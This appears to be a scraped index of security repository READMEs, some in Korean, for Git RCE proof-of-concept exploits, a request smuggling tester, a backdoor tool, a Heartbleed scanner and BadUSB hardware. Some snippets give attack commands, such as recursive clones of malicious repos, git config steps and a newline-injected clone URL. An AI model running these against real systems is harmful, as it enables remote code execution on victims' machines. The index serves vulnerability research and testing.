smuggler

/ | | | | \ | | | | |/ |/ | || |/ | | | || | | | || | | /||||/ \ |\ || | @defparam Smuggler An HTTP Request Smuggling / Desync testing tool written in Python 3 Acknowledgements A special thanks to James Kettle for his research and methods into HTTP desyncs And a special thanks to Ben Sadeghipour...

CVE-2024-32004

Create tmp repo, set uploadpack.allowfilter to true git init tmp git -C tmp config uploadpack.allowfilter 1 Clone evil from tmp repo git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp Configure remote filter script git -C evil config remote.origin.uploadpack...

dbd

d8888b. d8888b. d8888b. 88 8D 88 8D 88 8D 88 88 88oooY' 88 88 88 88 88b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D' Durandal's Backdoor 저작권 C 2013 Kyle Barnthouse [email protected] dbd는 GNU GPL에 따라 배포됩니다 Mipsbe 바이너리는 Darkerego https://github.com/darkerego mailto:[email protected]...

CVE-2021-21300

CVE-2021-21300 그냥 클론하세요 그러면 당신의 머신이 "PWNED"를 출력할 것입니다. 참고:https://www.openwall.com/lists/oss-security/2021/03/09/3...

CVE-2017-1000117

Git 취약점 CVE-2017-1000117을 확인하기 위한 테스트 저장소 작동 방식 이 저장소를 재귀적으로 클론하세요. 「うんこもりもり」대략 "똥이 잔뜩"이라는 뜻 문장이 터미널에 표시됩니다. $ git clone --recursive https://github.com/greymd/CVE-2017-1000117.git Cloning into 'CVE-2017-1000117'... remote: Counting objects: 5, done. remote: Compressing objects: 100% 4/4, done...

CVE-2026-49060-Lab

CVE-2026-49060 - Hippoo Mobile App for WooCommerce 부적절한 권한 할당 / 권한 상승 요약 이 저장소는 WordPress 플러그인 Hippoo Mobile App for WooCommerce 에 영향을 미치는 부적절한 권한 할당 취약점인 CVE-2026-49060을 재현 및 검증하기 위한 로컬 Docker 실습 환경을 포함하고 있습니다. 취약한 동작은 Hippoo의 복제된 REST API 네임스페이스를 통해 노출됩니다:text /wc-hippoo/v1/ext/ 취약한 대상에서는 인증되지 ...

fapro

FaPro Free,Cross-platform,Single-file mass network protocol server simulator 中文Readme Description FaPro is a Fake Protocol Server tool, Can easily start or stop multiple network services. The goal is to support as many protocols as possible, and support as many deep interactions as possible for...

heartbleedscanner

Heartbleed Scanner Network Scanner for OpenSSL Memory Leak CVE-2014-0160 -t parameter to optimize the timeout in seconds. -f parameter to log the memleak of vulnerable systems. -n parameter to scan entire network. -i parameter to scan from a list file. Useful if you already have targets. -r...

gitbleed_tools

GitBleed 도구 - 미러링된 Git 저장소에서 데이터 추출 소개 이 저장소는 클론된 저장소와 미러 저장소 간의 차이를 다운로드하고 분석하는 데 사용할 수 있는 셸 스크립트를 포함합니다. Git 동작의 기본적인 특성에 대한 자세한 내용은 블로그 게시물을 방문해 주세요. 이 스크립트들은 무엇을 하나요? 이 스크립트들은 주어진 Git 저장소를 일반 클론과 미러"--mirror" 옵션 두 가지 방식으로 복제합니다. 그런 다음 두 복제본 간의 델타를 생성하여 미러 모드에서만 사용할 수 있는 저장소 부분을 찾습니다. 마지막으로...

bad_ducky

Bad Ducky 개요 Bad Ducky는 또 다른 Rubber Ducky 클론입니다. 내장 카드 리더기가 있는 CJMCU BadUsb ATMEGA32u4 - Arduino Leonardo 클론 보드를 기반으로 하며, eBay나 알리익스프레스에서 구매할 수 있습니다. 제 목표는 Rubber Ducky 스크립트와 호환되면서도 하드웨어를 수정하지 않고 DIP 스위치를 추가하지 않고 실행할 스크립트를 쉽게 선택할 수 있는 제품을 만드는 것이었습니다. 이 제품의 특별한 점은 무엇인가요? Rubber Ducky 스크립트와 완전히 호환됩...

hook

amalmurali47/hook 이 저장소는 git clone 작업 중 RCE원격 코드 실행를 허용하는 Git 취약점인 CVE-2024-32002를 악용하기 위한 PoC의 일부입니다. 이 저장소에는 익스플로잇에 사용되는 악성 훅이 포함되어 있습니다. 개요 익스플로잇 작동 방식에 대한 자세한 지침과 설명은 gitrce 저장소 또는 블로그 게시물을 참조하세요: https://amalmurali.me/posts/git-rce. 면책 조항 이 저장소는 교육 목적으로만 제공됩니다. 여기에 제공된 정보는 개발자가 취약점을 이해하고 시스템...

WordPress WP Clone <= 2.4.2 - Database Backup Exposure

Clone WordPress plugin 2.4.3 contains a buffer overflow caused by storing in-progress backup information in publicly accessible buffer files at a static file path, letting attackers access sensitive backup data, exploit requires no special privileges id: CVE-2023-6750 info: name: WordPress WP Clo...

git_rce

CVE-2024-32002 PoC 1. 다음과 같이 git의 심볼릭 링크 옵션을 설정해야 합니다: git config --global core.symlinks true 2. 그런 다음 다음 명령으로 CVE-2024-32002를 악용합니다: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 공격 시나리오 kali192.168.216.129 --원격 저장소 주소 전달-- Win192.168.216.130 kali192.168.216.129 --Git clone 및...

CVE-2025-48384

CVE-2025-48384 PoC 참조: CVE-2025-48384 실행 방법: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git 출력 예시: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'... done. 'ubmodule 'sub'...

CVE-2025-48384-poc

CVE-2025-48384-poc CVE-2025-48384는 git에서 부적절한 링크 확인링크 추적 취약점의 형태를 띠고 있습니다. 구체적으로, 캐리지 리턴이 포함된 파일 이름이 .git/config에서 부적절하게 파싱되며, 서브모듈 훅 디렉토리로 서브모듈에 위치한 git 훅 실행 파일을 가리키는 심볼릭 링크를 포함하면 git clone --recursive로 리포지토리를 클론할 때 임의 코드 실행으로 이어질 수 있습니다. Microsoft Windows용 Git은 이 취약점의 영향을 받지 않으며, 주로 Linux 및...

git_rce

CVE-2024-32002: git clone을 통한 Git RCE 악용 이 저장소는 git clone 작업 중 RCE를 허용하는 Git의 취약점인 CVE-2024-32002를 악용하는 PoC를 포함합니다. 공격자는 특정 방식으로 서브모듈이 포함된 저장소를 제작하여 대소문자를 구분하지 않는 파일시스템에서 심볼릭 링크 처리를 악용하고, .git/ 디렉터리에 파일을 작성하여 악성 훅의 실행을 유도할 수 있습니다. 참고: 이 PoC는 Windows 또는 Mac 시스템에서만 작동합니다. 블로그 게시글 이 익스플로잇이 어떻게...

cve-2020-5260

cve-2020-5260 Heroku에 배포할 수 있는 cve-2020-5260을 위한 HTTP PoC 엔드포인트 신용 정보 CREDIT INFORMATION Google Project Zero의 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 취약점 트리거 git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' Heroku...

CVE-2024-32002

CVE-2024-32002: Exploiting Git RCE via git clone This repository contains a PoC for exploiting CVE-2024-32002, a vulnerability in Git that allows RCE during a git clone operation. By crafting repositories with submodules in a specific way, an attacker can exploit symlink handling on...

CVE-2021-21300

CVE-2021-21300 Git의 여러 버전에서 심볼릭 링크 처리가 엄격하지 않습니다. 대소문자를 구분하는예: Linux 파일 시스템에서 Git에 파일을 업로드한 후, 대소문자를 구분하지 않는 파일 시스템예: Windows을 사용하는 호스트가 악성 저장소를 클론할 때 원격 명령 실행이 발생할 수 있습니다. 영향을 받는 버전 2.15부터 현재 2.30.1까지 해결 방법 1. 버전 업그레이드 2. 다음과 같음 Git의 symlink 비활성화: git config --global core.symlinks false 프로세스 필터...

Cve-2024-32002-poc

CVE-2024-32002 RCE PoC Overview This repository contains a Proof of Concept PoC for CVE-2024-32002, a Remote Code Execution RCE vulnerability in Git submodules. The exploit demonstrates how a malicious payload can be triggered via a recursive clone of a Git repository. Repository Setup Before...